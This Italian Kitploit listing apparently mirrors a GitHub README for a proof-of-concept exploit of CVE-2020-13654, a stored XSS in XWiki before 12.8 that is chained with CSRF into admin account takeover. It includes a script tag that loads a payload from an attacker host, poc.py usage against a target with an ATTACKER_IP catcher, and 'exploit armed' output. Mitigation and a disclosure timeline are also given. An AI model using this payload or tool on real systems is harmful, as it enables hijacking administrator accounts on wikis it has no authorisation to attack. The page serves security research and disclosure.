Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/astaruf/cve-2020-13654
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2020-13654 - XWiki Platform < 12.8 - XSS Memorizzato → CSRF → Escalation di Privilegi

Scoperto e segnalato da: Astaruf
Analisi completa: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


Vulnerabilità

XWiki Platform prima della versione 12.8 non applica la codifica HTML ai campi controllati dall'utente nell'editor del profilo. Il campo interessato confermato durante la ricerca è "Company" (sotto Modifica → Informazioni personali), ma altri campi del profilo condividono lo stesso percorso di codice.

Quando viene renderizzata una pagina del profilo, il valore del campo memorizzato viene inserito nel HTML senza alcuna chiamata a $escapetool.xml() o equivalente escapamento. Un attaccante con qualsiasi account autenticato, incluso uno appena auto-registrato, può memorizzare HTML/JavaScript arbitrario che viene eseguito in modo persistente nel browser di ogni utente che visita il profilo, inclusi gli amministratori.

Causa principale nel template Velocity interessato:

root@kitploit:~
## Vulnerabile (< 12.8): valore scritto direttamente nel DOM
$xwiki.getUserProperty($user, "company")

## Corretto (≥ 12.8): valore codificato in HTML prima dell'output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
CampoValore
ProdottoXWiki Platform
Versioni affette< 12.8
Corretto in12.8
Punteggio CVSSv3

Scenario di Attacco

Questa PoC dimostra una catena di escalation di privilegi a zero-click:

root@kitploit:~
Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

Non è richiesta alcuna interazione dell'amministratore oltre una singola visita della pagina.


PoC

poc.py è uno script di exploit autonomo. Esso:

  1. Opzionalmente auto-registra un nuovo account a bassi privilegi tramite l'endpoint di registrazione aperto di XWiki
  2. Autentica l'account dell'attaccante e inietta il payload XSS nel campo del profilo Company, preservando tutti gli altri valori dei campi esistenti
  3. Verifica che il payload sia presente nel sorgente della pagina renderizzata
  4. Avvia un server HTTP integrato che serve il payload JavaScript incorporato (/payload.js) e registra i beacon in arrivo
  5. Attende che un amministratore visiti l'URL del profilo avvelenato

Quando l'amministratore visita l'URL, il tag <script src="..."> memorizzato carica payload.js dal server dell'attaccante. Il payload viene eseguito nel contesto del browser autenticato dell'amministratore, aggiunge silenziosamente l'account dell'attaccante a XWikiAdminGroup e segnala l'esito.

Utilizzo

root@kitploit:~
pip install -r requirements.txt

Con auto-registrazione (nessun account preesistente necessario):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

Con un account a bassi privilegi esistente:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

Argomenti

Output previsto

root@kitploit:~
[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

Mitigazione

Esegui l'upgrade a XWiki Platform ≥ 12.8.

La correzione applica $escapetool.xml() a tutti i campi del profilo controllati dall'utente prima che vengano renderizzati, impedendo l'iniezione di HTML/JavaScript grezzo.

Se un upgrade immediato non è possibile, limita l'auto-registrazione e la visibilità del profilo agli utenti fidati tramite la gestione dei diritti di accesso di XWiki.


Cronologia

Data

Riferimenti

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

Disclaimer

Questo repository è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata.
Non utilizzare contro sistemi di cui non possiedi o non hai esplicita autorizzazione scritta per testare.
L'autore non si assume alcuna responsabilità per un uso improprio.

Scarica lo strumento
7.5 (Alto)
CWECWE-116 — Codifica o Escapamento dell'Output Improprio
ArgomentoObbligatorioDescrizione
--target✅URL base di XWiki
--catcher✅URL controllato dall'attaccante (usato per servire payload.js e raccogliere beacon)
--username✅Nome utente dell'account attaccante
--password✅Password dell'account attaccante
--register✗Auto-registra l'account prima di sfruttare
--first-namese --registerNome di registrazione
--last-namese --registerCognome di registrazione
--emailse --registerEmail di registrazione
Evento
Maggio 2020Vulnerabilità scoperta
Maggio 2020Segnalata al team di sicurezza XWiki
Luglio 2020Corretta in XWiki Platform 12.8
Novembre 2020CVE-2020-13654 assegnata da MITRE
30 Dicembre 2020Divulgazione pubblica — nstsec.com